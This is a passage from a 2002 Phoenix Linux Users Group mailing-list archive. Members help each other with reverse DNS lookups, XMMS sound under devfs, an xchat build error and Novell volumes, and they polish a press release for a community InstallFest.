to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:18:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 04 Jun 2002 16:18:21 -0700 Subject: sound and XMMS Message-ID: <3CFD4ABD.1671BEF7@earthlink.net> I prefer to use the IceWM due to it's quick interface, at least on startup, and I don't really care about the desktop that much. However, when I try to use XMMS it doesn't always work. I can get it to work sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. Then I switch back to Ice and XMMS is ok there too. However, after I re-boot, the sound is once again gone from Ice and I have to go thru the same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is there something better than XMMS? I'd personnally like to get Route66 up, but haven't had the time yet. pete From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:28:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 4 Jun 2002 16:28:35 -0700 Subject: Reverse DNS lookup Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B737@azmscorp01.corp.azms> Hi all I am new to the list just moved down from the great white north. :) Hopefully I will be allowed to join some of your meetings. But anyways you may want to check out- http://www.wshscripting.com/view/1101.html Also there are many web based sites that will help you out with this. A quick search on google will provide many sites. -Larry "Linux is user friendly .... its just picky about its friends" -----Original Message----- From: Sundar [mailto:linux@esaravana.com] Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:41:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Tue, 4 Jun 2002 16:41:01 -0700 Subject: Reverse DNS lookup In-Reply-To: Message-ID: <000b01c20c21$498d0d30$0401a8c0@minkland.com> Ping -a ip.address -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of Gilbert T. Gutierrez, Jr. Sent: Tuesday, June 04, 2002 4:25 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Reverse DNS lookup Depending on what version of windows you have you can use nslookup...The easiest way if you are using 95 or 98 is to do a trace route (tracert IPADDRESS). Trace route does a lookup on the IP address before it attempts to trace. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Sundar Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail >>doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:37:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 04 Jun 2002 16:37:59 -0700 Subject: sound and XMMS References: <3CFD4ABD.1671BEF7@earthlink.net> Message-ID: <3CFD4F57.13E69BFC@qwest.net> I use IceWM on my laptop without any problems with sound. What Distro are you using? Under RedHat I did sndconfig and it set up the options and placed then in /etc/modules.conf (or is it now conf.modules). What sound output preferences do you have XMMS set to? mazdaracer wrote: > > I prefer to use the IceWM due to it's quick interface, at least on > startup, and I don't really care about the desktop that much. However, > when I try to use XMMS it doesn't always work. I can get it to work > sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. > Then I switch back to Ice and XMMS is ok there too. However, after I > re-boot, the sound is once again gone from Ice and I have to go thru the > same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is > there something better than XMMS? I'd personnally like to get Route66 > up, but haven't had the time yet. > > pete > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:40:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Tue, 4 Jun 2002 16:40:40 -0700 Subject: Reverse DNS lookup References: Message-ID: <003c01c20c21$3cad4e40$d701870a@jeffbarker> c:>ping /a 123.123.123.123 ----- Original Message ----- From: "Gilbert T. Gutierrez, Jr." To: Sent: Tuesday, June 04, 2002 4:24 PM Subject: RE: Reverse DNS lookup | Depending on what version of windows you have you can use nslookup...The | easiest way if you are using 95 or 98 is to do a trace route (tracert | IPADDRESS). Trace route does a lookup on the IP address before it attempts | to trace. | | Gilbert | | -----Original Message----- | From: plug-discuss-admin@lists.plug.phoenix.az.us | [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Sundar | Sent: Tuesday, June 04, 2002 3:38 PM | To: plug-discuss@lists.plug.phoenix.az.us | Subject: Re: Reverse DNS lookup | | | Would you guys, by any chance know, how you can do it from Windoze client? | | Sundar | | Matt Alexander wrote: | | >host ip-address | > | > | >On Tue, 4 Jun 2002, Sundar wrote: | > | >>Hello, | >> | >>How to do reverse DNS lookup in intranet? I have the ip address and I | >>want to get the dns name for the ip address. | >> | >>Sundar | >> | >>________________________________________________ | >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | >> | >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | >> | > | >________________________________________________ | >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | > | >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > | | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post | to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:43:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gorman, John) Date: Tue, 4 Jun 2002 16:43:50 -0700 Subject: Reverse DNS lookup Message-ID: <7BF7F49956D4024D992D94C5BEC7BA1703D87A@phxexh04.pegs.com> Try nslookup and ping -a The ping -a is useful if you want to lookup someone within a LAN because it will resolve the Windows SMB and give you there user id The nslookup that comes with WinNT/Windows2000/WinXP is not as first class as the standard unix kind. John -----Original Message----- From: Sundar [mailto:linux@esaravana.com] Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:55:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 4 Jun 2002 16:55:40 -0700 Subject: sound and XMMS In-Reply-To: <3CFD4ABD.1671BEF7@earthlink.net>; from mazdaracer@earthlink.net on Tue, Jun 04, 2002 at 04:18:21PM -0700 References: <3CFD4ABD.1671BEF7@earthlink.net> Message-ID: <20020604165540.B26600@nadesico> On Tue, Jun 04, 2002 at 04:18:21PM -0700, mazdaracer wrote: > I prefer to use the IceWM due to it's quick interface, at least on > startup, and I don't really care about the desktop that much. However, > when I try to use XMMS it doesn't always work. I can get it to work > sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. > Then I switch back to Ice and XMMS is ok there too. However, after I > re-boot, the sound is once again gone from Ice and I have to go thru the > same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is > there something better than XMMS? I'd personnally like to get Route66 > up, but haven't had the time yet. Is esd running when IceWM is running? Also, is XMMS set to use esound as it's output? If so, you'll want to either change it to use the OSS plugin for output, or start esd manually in your .xinitrc file. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:59:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 04 Jun 2002 16:59:04 -0700 Subject: sound and XMMS References: <3CFD4ABD.1671BEF7@earthlink.net> <3CFD4F57.13E69BFC@qwest.net> Message-ID: <3CFD5448.B764FF08@earthlink.net> I too have it dual booted on my laptop and it's ok there. I'm using Mandrake 8.1. In fact, I just tried to go over to KDE (works ok) then back to Ice and it didn't 'fix itself' like it sometimes does. I use the OSS Driver 1.2.5 [libOSS.so] pointing to /dev/dsp as the alternate device; switching to default and trying to play gives me the 3 points of why I can't open the sound. I've got a SB Live audio card. This is interesting: [pete@rotor pete]$ ll /dev/dsp ls: /dev/dsp: No such file or directory [pete@rotor pete]$ ll /dev/d* /dev/discs: total 0 lr-xr-xr-x 1 root root 30 Dec 31 1969 disc0 -> ../ide/host0/bus0/target0/lun0/ /dev/dri: total 0 crw-rw-rw- 1 root root 226, 0 Jun 1 19:56 card0 [pete@rotor pete]$ ll /dev/sound total 0 crw------- 1 pete audio 14, 4 May 24 19:28 audio crw------- 1 pete audio 14, 3 May 24 19:28 dsp crw------- 1 pete audio 14, 19 May 24 19:28 dsp1 crw------- 1 pete audio 14, 5 May 24 19:28 dspW crw------- 1 pete audio 14, 2 May 24 19:28 midi crw------- 1 pete audio 14, 18 May 24 19:28 midi1 crw------- 1 pete audio 14, 0 May 24 19:28 mixer crw------- 1 pete audio 14, 1 May 24 19:28 sequencer crw------- 1 pete audio 14, 8 May 24 19:28 sequencer2 [pete@rotor pete]$ There should be a /dev/dsp entry but clearly none exist. I changed the sound to point to /dev/sound/dsp and now it's ok. This is kind of strange! pete Kevin Brown wrote: > > I use IceWM on my laptop without any problems with sound. What Distro are you > using? Under RedHat I did sndconfig and it set up the options and placed then > in /etc/modules.conf (or is it now conf.modules). What sound output preferences > do you have XMMS set to? > > mazdaracer wrote: > > > > I prefer to use the IceWM due to it's quick interface, at least on > > startup, and I don't really care about the desktop that much. However, > > when I try to use XMMS it doesn't always work. I can get it to work > > sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. > > Then I switch back to Ice and XMMS is ok there too. However, after I > > re-boot, the sound is once again gone from Ice and I have to go thru the > > same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is > > there something better than XMMS? I'd personnally like to get Route66 > > up, but haven't had the time yet. > > > > pete > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 00:31:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 4 Jun 2002 17:31:19 -0700 Subject: sound and XMMS In-Reply-To: <3CFD5448.B764FF08@earthlink.net>; from mazdaracer@earthlink.net on Tue, Jun 04, 2002 at 04:59:04PM -0700 References: <3CFD4ABD.1671BEF7@earthlink.net> <3CFD4F57.13E69BFC@qwest.net> <3CFD5448.B764FF08@earthlink.net> Message-ID: <20020604173119.A26811@nadesico> On Tue, Jun 04, 2002 at 04:59:04PM -0700, mazdaracer wrote: > I too have it dual booted on my laptop and it's ok there. I'm using > Mandrake 8.1. In fact, I just tried to go over to KDE (works ok) then > back to Ice and it didn't 'fix itself' like it sometimes does. > > I use the OSS Driver 1.2.5 [libOSS.so] pointing to /dev/dsp as the > alternate device; switching to default and trying to play gives me the 3 > points of why I can't open the sound. I've got a SB Live audio card. > > This is interesting: > [pete@rotor pete]$ ll /dev/dsp > ls: /dev/dsp: No such file or directory > [pete@rotor pete]$ ll /dev/d* > /dev/discs: > total 0 > lr-xr-xr-x 1 root root 30 Dec 31 1969 disc0 -> > ../ide/host0/bus0/target0/lun0/ > > /dev/dri: > total 0 > crw-rw-rw- 1 root root 226, 0 Jun 1 19:56 card0 > [pete@rotor pete]$ ll /dev/sound > total 0 > crw------- 1 pete audio 14, 4 May 24 19:28 audio > crw------- 1 pete audio 14, 3 May 24 19:28 dsp > crw------- 1 pete audio 14, 19 May 24 19:28 dsp1 > crw------- 1 pete audio 14, 5 May 24 19:28 dspW > crw------- 1 pete audio 14, 2 May 24 19:28 midi > crw------- 1 pete audio 14, 18 May 24 19:28 midi1 > crw------- 1 pete audio 14, 0 May 24 19:28 mixer > crw------- 1 pete audio 14, 1 May 24 19:28 sequencer > crw------- 1 pete audio 14, 8 May 24 19:28 sequencer2 > [pete@rotor pete]$ > > > There should be a /dev/dsp entry but clearly none exist. I changed the > sound to point to /dev/sound/dsp and now it's ok. This is kind of > strange! Looks like you're using the new and advanced DevFS. It's an alternative to the original flat dev filesystem -- doesn't waste any disk space or inodes on your drive, and device entries are registered and unregistered as modules are loaded/unloaded. Check your /etc/devfsd.conf to make sure that MKOLDCOMPAT is enabled -- normally the devfsd daemon will make symlinks to the old device names (eg: /dev/sound/dsp -> /dev/dsp). More than helpful documentation on devfsd and devfs is available via: less /usr/src/linux/Documentation/filesystems/devfs/README man devfsd man devfsd.conf -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 00:30:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 04 Jun 2002 17:30:31 -0700 Subject: sound and XMMS References: <3CFD4ABD.1671BEF7@earthlink.net> <3CFD4F57.13E69BFC@qwest.net> <3CFD5448.B764FF08@earthlink.net> <20020604173119.A26811@nadesico> Message-ID: <3CFD5BA7.C221AF9@earthlink.net> Thank You!! I did see the link on occasion! It just never seems to have hung around when I wanted it! pete mondoshawan@tank.dyndns.org wrote: > > On Tue, Jun 04, 2002 at 04:59:04PM -0700, mazdaracer wrote: > > I too have it dual booted on my laptop and it's ok there. I'm using > > Mandrake 8.1. In fact, I just tried to go over to KDE (works ok) > then > > back to Ice and it didn't 'fix itself' like it sometimes does. > > > > I use the OSS Driver 1.2.5 [libOSS.so] pointing to /dev/dsp as the > > alternate device; switching to default and trying to play gives me > the 3 > > points of why I can't open the sound. I've got a SB Live audio card. > > > > This is interesting: > > [pete@rotor pete]$ ll /dev/dsp > > ls: /dev/dsp: No such file or directory > > [pete@rotor pete]$ ll /dev/d* > > /dev/discs: > > total 0 > > lr-xr-xr-x 1 root root 30 Dec 31 1969 disc0 -> > > ../ide/host0/bus0/target0/lun0/ > > > > /dev/dri: > > total 0 > > crw-rw-rw- 1 root root 226, 0 Jun 1 19:56 card0 > > [pete@rotor pete]$ ll /dev/sound > > total 0 > > crw------- 1 pete audio 14, 4 May 24 19:28 audio > > crw------- 1 pete audio 14, 3 May 24 19:28 dsp > > crw------- 1 pete audio 14, 19 May 24 19:28 dsp1 > > crw------- 1 pete audio 14, 5 May 24 19:28 dspW > > crw------- 1 pete audio 14, 2 May 24 19:28 midi > > crw------- 1 pete audio 14, 18 May 24 19:28 midi1 > > crw------- 1 pete audio 14, 0 May 24 19:28 mixer > > crw------- 1 pete audio 14, 1 May 24 19:28 sequencer > > crw------- 1 pete audio 14, 8 May 24 19:28 sequencer2 > > [pete@rotor pete]$ > > > > > > There should be a /dev/dsp entry but clearly none exist. I changed > the > > sound to point to /dev/sound/dsp and now it's ok. This is kind of > > strange! > > Looks like you're using the new and advanced DevFS. It's an > alternative to > the original flat dev filesystem -- doesn't waste any disk space or > inodes > on your drive, and device entries are registered and unregistered as > modules > are loaded/unloaded. Check your /etc/devfsd.conf to make sure that > MKOLDCOMPAT is enabled -- normally the devfsd daemon will make > symlinks to > the old device names (eg: /dev/sound/dsp -> /dev/dsp). More than > helpful > documentation on devfsd and devfs is available via: > less > /usr/src/linux/Documentation/filesystems/devfs/README > man devfsd > man devfsd.conf > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 02:26:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 19:26:58 -0700 Subject: Sending out press release - final In-Reply-To: References: Message-ID: <200206041926.58784.dennisk@sahuaro.f2s.com> On Tuesday 04 June 2002 07:09 am, der.hans wrote: > Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > > Just checking that the version up on the PLUG site is the final, > > best-ever, unanimously approved version. If so, I'll get it out to the > > media contacts that Jim sent me. > > The URL: http://www.plugpresents.com/installfest/ > > My suggestions haven't been incorporated. > > ciao, > > der.hans That would be capitalizing Free Software and Open Source. The quote marks do look funny. Something M$ might do, as in the Myth of "free software" or Shared Source is better than so called "open source." Any other suggestions? Dennis From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 02:51:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 4 Jun 2002 19:51:24 -0700 Subject: Sending out press release - final In-Reply-To: <200206041926.58784.dennisk@sahuaro.f2s.com> References: <200206041926.58784.dennisk@sahuaro.f2s.com> Message-ID: <0206041951240Z.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When the nitpicking is done (hopefully before the 22nd), post the final on discuss or email it to me and I will move it to PlugPresents. On Tuesday 04 June 2002 19:26, you wrote: > On Tuesday 04 June 2002 07:09 am, der.hans wrote: > > Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > > > Just checking that the version up on the PLUG site is the final, > > > best-ever, unanimously approved version. If so, I'll get it out to the > > > media contacts that Jim sent me. > > > > The URL: http://www.plugpresents.com/installfest/ > > > > My suggestions haven't been incorporated. > > > > ciao, > > > > der.hans > > That would be capitalizing Free Software and Open Source. The quote marks > do look funny. Something M$ might do, as in the Myth of "free software" or > Shared Source is better than so called "open source." Any other > suggestions? > > Dennis > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP18rSsk3ywszI1FEQJMwgCg1ZAK/Ag1gw9Vpydjpap2K+cHGLcAoJHk 3WcJyIisuCBBfYZg5lip1s/0 =e13h -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 03:41:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 20:41:00 -0700 Subject: Sending out press release - LAST CALL! In-Reply-To: <0206041951240Z.00730@nova.wedge.org> References: <200206041926.58784.dennisk@sahuaro.f2s.com> <0206041951240Z.00730@nova.wedge.org> Message-ID: <200206042041.00712.dennisk@sahuaro.f2s.com> This includes suggestions from hans and Bill Lindley. Also, I've removed quotes around "Open Source" and "Free Software" which I thought unneccessary and too M$-like as in the Myrth of "free software." I plan to go to press on Thurday latest unless there are any show stoppers. Dennis =========================================================== FOR IMMEDIATE RELEASE LOCAL USERS GROUP OFFERS FREE GNU/LINUX INSTALLATION HELP On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the public to a "GNU/Linux InstallFest" at Scottsdale Community College. Attendees will receive expert help in installing Linux, a freely available operating system, on their personal computers. After the InstallFest, users who brought their computers along can in many cases go home with working systems installed on their machines, free of charge. The package includes web browsers, word processors, and other usual tools that computer users expect. PLUG's organizer for the event is William Lindley, a computer consultant. "This is what the Free Software community is all about - helping each other, and we'll be helping folks get started," Lindley explained. "We're all looking forward to this InstallFest." The software is an alternative to Windows and other proprietary systems. Linux, GNU, FreeBSD and other Open Source and Free Software systems do not require any licensing or upgrade fees, and are said by many experts to be more efficient and secure than Windows systems. Businesses and home users alike are turning to Free Software which can be freely copied, modified, or examined, and which is considered by computer experts to be more robust and secure than proprietary systems. Though there is no charge, the term Free Software actually refers to freedom from license restrictions: Users are never asked to click "I Agree" to a list of prohibitions before using it, and organizations need not store "Certificates of Authenticity" in their safe deposit boxes in case of an audit. The Free Software products are available at no charge through the Internet or as an inexpensive distribution at most local computer stores, but the InstallFest offers users a completed installation by experienced Linux and FreeBSD administrators. Computer users are invited to bring their computers to the event. Usually, only the computer box, monitor, keyboard and mouse need be brought - see the PLUG web page for details. "Your old operating system can remain as an alternative, or we can replace it entirely," Lindley said, "depending on your plans for the machine and how much disk space you have to spare." "This is a important next step in development of computers and the Internet -- making them more affordable and more secure," Lindley said. "We are here to show how easy it can be for computer users to move up to the next level." The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). PLUG members will be available to answer questions about Linux, Open Source software, and the Phoenix Linux Users Group as well. For more information about the InstallFest, email contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 PLUG is an informal group that holds several monthly meetings, on both the East and West sides of Phoenix, to talk about what they've recently done with Linux, GNU and Open Source software; to share problems and solutions, and to discuss issues in the world of Free Software and computers in general. Knowledge of Linux is neither presumed nor required. Between meetings, PLUG members stay in touch through a busy e-mail discussion list. More information about PLUG can be found on the website at http://plug.phoenix.az.us/ . Scottsdale Community College offers two year degree programs in many disciplines including computers, arts, and science. SCC also offers university transfer programs and special interest courses, and has hosted several Free Software events. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 04:35:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 4 Jun 2002 21:35:26 -0700 (MST) Subject: Sending out press release - final In-Reply-To: <200206041926.58784.dennisk@sahuaro.f2s.com> Message-ID: Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > That would be capitalizing Free Software and Open Source. The quote marks The capitalization was the main thing. http://lists.PLUG.phoenix.az.us/pipermail/plug-discuss/2002-June/025272.html > do look funny. Something M$ might do, as in the Myth of "free software" > or Shared Source is better than so called "open source." Any other > suggestions? Good idea to get rid of the quotes that aren't necessry if you use Free Software and Open Source as proper nouns. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 11:27:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 04:27:04 -0700 Subject: xchat compile Message-ID: <20020605042704.4eb0208f.snoogans@qwest.net> okay it appears that if i want to have the tint transparency option available(and i do :> ) i am going top have to compile xchat from source. I untar/unzip the files cd to the directory, ./configure all is well no errors at all, i type make and get this ... chimera:/home/bob/xchat-1.8.9# make make all-recursive make[1]: Entering directory `/home/bob/xchat-1.8.9' Making all in po make[2]: Entering directory `/home/bob/xchat-1.8.9/po' file=./`echo ca | sed 's,.*/,,'`.gmo \ && rm -f $file && PATH=../src:$PATH -o $file ca.po /bin/sh: -o: command not found make[2]: *** [ca.gmo] Error 127 make[2]: Leaving directory `/home/bob/xchat-1.8.9/po' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/home/bob/xchat-1.8.9' make: *** [all-recursive-am] Error 2 chimera:/home/bob/xchat-1.8.9# First thing i did was check to see if /bin/sh was there, it wasn't so i apt-get that and try again same thing. As lame as it sounds this litle option is something i would really like, if someone could help me out with this i would appreciate it, thanks in advance :) From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 12:43:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 08:43:40 -0400 Subject: OT: Access to an AIX platform? Message-ID: Adtron has the need to test one of our SCSI drive products on an AIX machine. Free time is good but we are willing to pay a reasonable price for time on an AIX system here in the Phoenix valley. Does anyone know of one? Is there an AIX users group still active out there? Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 16:17:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Tue, 4 Jun 2002 09:17:09 -0700 (MST) Subject: mounting novell volumes In-Reply-To: <200206040810.16001.plug@the-arcanum.org> Message-ID: Nathan, the win98 desktop(s), is there a Novell client enabled, and set to use IPX? The microsoft IPX drivers should do the trick if you don't want to or don't have the full Novell client-32 drivers. If memory serves me correctly, your typical netware 3.12 only talks IPX on the network. IPX tunneled through TCP/IP was available, but was kinda stinky. - tom e. On Tue, 4 Jun 2002, Nathan England wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The server boots okay, the sys volume is a 2gb partition, and it has almost 6 meg of free space.. The people who use this know nothing about novell, neither does their company, and neither do I. THis is netware 3.12 It boots, takes about 15-20 minutes to mount the sys volume, but I can't get any workstations to acknowledge it. We want to switch them over to a small win98 machine that can do just file serving, but need the css data (from the hotel reservation system) before we can do anything. I'lll look at some of those free tools, thanks a lot Steve. nathan Am Montag 